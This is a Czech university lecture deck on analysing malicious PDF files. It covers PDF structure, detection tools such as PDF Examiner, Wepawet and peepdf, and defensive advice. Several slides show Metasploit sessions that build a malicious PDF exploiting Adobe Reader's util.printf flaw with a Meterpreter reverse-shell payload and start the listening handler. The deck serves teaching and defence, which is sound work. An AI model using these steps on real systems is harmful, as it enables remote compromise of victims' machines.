

UNIVERZITA OBRANY
FAKULTA EKONOMIKY A MANAGEMENTU
KATEDRA VOJENSKÉHO MANAGEMENTU A TAKTIKY

Analýza škodlivých PDF souborů

Almer Lubomír

Obsah

- ▶ PDF obecně
 - ▶ Struktura PDF souboru
 - ▶ Vytvoření škodlivého PDF
 - ▶ Analýza PDF dokumentu
 - Online
 - Offline
 - ▶ Shrnutí
- 

PDF soubor



- ▶ **Portable Document Format**
- ▶ **Vyvinutý firmou Adobe**
- ▶ **Slouží pro ukládání nezávisle na SW a HW**
- ▶ **Může obsahovat text i obrázky**
- ▶ **1. července 2008 – PDF jako standard ISO 32000-1:2008**

Struktura PDF souboru

- ▶ Hlavička
 - ▶ Tělo
 - ▶ Tabulka odkazů
 - ▶ Závěrečná sekvence
- 

Objekty používané v PDF

- ▶ Logické hodnoty
 - ▶ Čísla
 - ▶ Řetězce
 - ▶ Jména
 - ▶ Pole
 - ▶ Slovníky
 - ▶ Streamy
 - ▶ Nulové objekty
- 

Vytvoření škodlivého PDF

- ▶ Kód psaný v JavaScriptu
 - ▶ Technikou heap spraying
 - ▶ Funkce `util.printf ()`
- 

Ukázka tvorby škodlivého PDF

```
^ v x root@bt: ~
File Edit View Terminal Help

msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME maliciouspdf.pdf
FILENAME => maliciouspdf.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.1.11
LHOST => 192.168.1.11
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

  Name      Current Setting  Required  Description
  ----      -
  FILENAME  maliciouspdf.pdf  yes      The file name.

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process         yes      Exit technique: seh, thread, process, no
  LHOST     192.168.1.11    yes      The listen address
  LPORT     4455            yes      The listen port
```

Ukázka tvorby škodlivého PDF

```
^ v x root@bt: ~
File Edit View Terminal Help

Module options (exploit/windows/fileformat/adobe_utilprintf):

Name      Current Setting  Required  Description
----      -
FILENAME   maliciouspdf.pdf  yes       The file name.

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      -
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     192.168.1.11    yes       The listen address
LPORT     4455             yes       The listen port

<< back | track 5r3

exploit target:

Id  Name
--  --
0   Adobe Reader v8.1.2 (Windows XP SP3 English)

msf exploit(adobe_utilprintf) > exploit

[*] Creating 'maliciouspdf.pdf' file...
[*] maliciouspdf.pdf stored at /root/.msf4/local/maliciouspdf.pdf
msf exploit(adobe_utilprintf) > 
```

Ukázka tvorby škodlivého PDF

```
msf exploit(adobe_utilprintf) > exploit

[*] Creating 'maliciouspdf.pdfFILENAME => maliciouspdf.pdf' file...
[+] maliciouspdf.pdfFILENAME => maliciouspdf.pdf stored at /root/.msf4/local/maliciouspdf.pdf

msf exploit(adobe_utilprintf) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 192.168.1.11
LHOST => 192.168.1.11
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.11:4455
[*] Starting the payload handler...
```

Analýza PDF dokumentu

▶ Online

- PDF Examiner
- Wapewet

▶ Offline

- Peepdf
- PDF Stream Dumper
- Origami

PDF Examiner

← → ↻ 🏠  https://www.malwaretracker.com/pdf.php



malware tracker  [static + dynamic analysis]

[home](#)

[software](#)

[services](#)

[+cryptam doc scan](#)

[+pdf examiner scan](#)

[+tools](#)

[contact](#)

[customer portal](#)

[blog](#)

pdf examiner

File upload to the pdf examiner.

PDF sample: Soubor nevybrán

Email (optional emailed report):

☐ Keep private, do not publish in recent malware detections.

Comments or spear phishing email:

This will take a minute.

PDF Examiner

← → ↺ 🏠 <https://www.malwaretracker.com/pdfsearch.php?hash=977c314d73df80cd5321fb846dca0356>  

[home](#)[software](#)[services](#)[+cryptam doc scan](#)[+pdf examiner scan](#)[+tools](#)[contact](#)[customer portal](#)[blog](#)

Hash Search:

pdf examiner

Filename: iso_iec_27006-2007.pdf | MD5: 977c314d73df80cd5321fb846dca0356

[Link to here](#)

PDF Info

Object 167.0 @ 381629

Object 129.0 @ 188206

Object 133.0 @ 203873

Object 142.0 @ 243242

Object 155.0 @ 268794

Object 136.0 @ 218669

Object 139.0 @ 231664

Object 157.0 @ 307308

Object 106.0 @ 149180

Object 124.0 @ 178728

Object 146.0 @ 257473

Object 159.0 @ 338110

Object 163.0 @ 361747

Object 17.0 @ 9071

◀ ▶

Sort by: default | Object# | File

Order | Decoded Size

Document information

Original filename: iso_iec_27006-2007.pdf

Size: 479899 bytes

Submitted: 2014-05-29 15:31:30

md5: 977c314d73df80cd5321fb846dca0356

sha1: 550dd71d0e2b47d5f957e2b260d197e1999381ce

sha256: e680d0c7ed6364ceed3ec7a47c8c4e6479f6f409f3e85116fa28b337ffc963e4

ssdeep: 12288:1RmkHCchb21vrRvabr1nKkHFH7kft+UlrVp:Gkichb21NvabxKShwRdL

content/type: PDF document, version 1.3

analysis time: 17.30 s

PDF Examiner

← → ↺ 🏠 <https://www.malwaretracker.com/pdfsearch.php?hash=977c314d73df80cd5321fb846dca0356>   

[home](#)[software](#)[services](#)[+cryptam doc scan](#)[+pdf examiner scan](#)[+tools](#)[contact](#)[customer portal](#)[blog](#)Hash Search:

pdf examiner

Filename: iso_iec_27006-2007.pdf | MD5: 977c314d73df80cd5321fb846dca0356 | Object: 7 Generation: 0
Filters: ASCII85Decode CCIITTFaxDecode | Size raw: 1965 bytes | File offset: 266085
Stream MD5: 957dd3c1548d571ca2fe665f7ebe8135

Object 171.0 @ 467707

Object 173.0 @ 468305

Object 127.0 @ 188018

Object 7.0 @ 266085

Object 27.0 @ 22225

Object 149.0 @ 265210

Object 3.0 @ 1894

Object 9.0 @ 2049

Object 14.0 @ 8943

Object 18.0 @ 14578

Object 22.0 @ 17942

Object 25.0 @ 22108

Object 28.0 @ 22323

Object 31.0 @ 27347

Object 34.0 @ 33078

[Parameters](#) [Raw](#) [Decoded](#) [Exploits](#)[Link to here](#)

None found in this object.

Sort by: default | Object# | File
Order | Decoded Size

Wapewet

← → ↻ 🏠

Ads by OnlineBrowserAdvertising

Ad Options ⓘ

Wepawet

[Home](#) | [About](#) | [Sample Reports](#) | [Tools](#) | [News](#)

[Log in](#) | [Register](#)

Ad by SaveLots: [More Info](#) | [Hide These Ads](#)

If you are interested in a commercial version of this service that offers additional features and detection capabilities, check out [Lastline's advanced malware protection platform](#). ×

Wepawet is a [free](#)  service, for non-commercial organizations, to detect and analyze web-based threats. It currently handles Flash, JavaScript, and PDF files

To use Wepawet:

1. Upload a sample or specify the URL of a web page
2. Wait for the sample or web page to be analyzed
3. Review the generated report

Analysis Target

File: Soubor nevybrán

— OR —

URL:

Resource type:

- ☒ JavaScript/PDF
☐ Flash

Proxy: (optional)

Referer: (optional)

Header: (optional) [More headers](#)

Wapewet

Sample Overview

URL	http://217.117.28.100/main.php
Domain	217.117.28.100
Analysis Started	2012-10-19 11:08:36
Report Generated	2012-10-19 11:09:04
JSAND version	2.3.5

[Reanalyze this URL.](#)

See the [report](#) for domain 217.117.28.100.

Detection results

Detector	Result
JSAND 2.3.5	malicious

In particular, the following URL was found to contain malicious content:

- <http://217.117.28.100/main.php>

Exploits

Name	Description	Reference
MDAC	Arbitrary file download via the Microsoft Data Access Components (MDAC)	CVE-2006-0003

Peepdf

```
Usage: peepdf.py [options] PDF_file
```

```
Version: peepdf 0.1 r92
```

Options:

- h, --help show this help message and exit
- i, --interactive Sets console mode.
- s SCRIPTFILE, --load-script=SCRIPTFILE
Loads the commands stored in the specified file and execute them.
- f, --force-mode Sets force parsing mode to ignore errors.
- l, --loose-mode Sets loose parsing mode to catch malformed objects.
- u, --update Updates peepdf with the latest files from the repository.
- v, --version Shows program's version number.
- x, --xml Shows the document information in XML format.

```
root@bt:/pentest/forensics/peepdf# ./peepdf.py -i maliciouspdf.pdf
```

Peepdf

```
Version 0:  
Catalog: 1  
Info: No  
Objects (6): [1, 2, 3, 4, 5, 6]  
Streams (1): [6]  
    Encoded (1): [6]  
Objects with JS code (1): [6]  
Suspicious elements:  
    /OpenAction: [1]  
    /JS: [5]  
    /JavaScript: [5]  
    util.printf (CVE-2008-2992): [6]
```

Shrnutí

- ▶ Proveditelnost implantace škodlivého kódu
 - ▶ Testovat před otevřením
 - ▶ Využití alternativních prohlížečů
 - ▶ Instalace posledních aktualizací
 - ▶ Zakázat spouštění JavaScriptu v Adobe Readeru
- 

Děkuji za pozornost, dotazy

?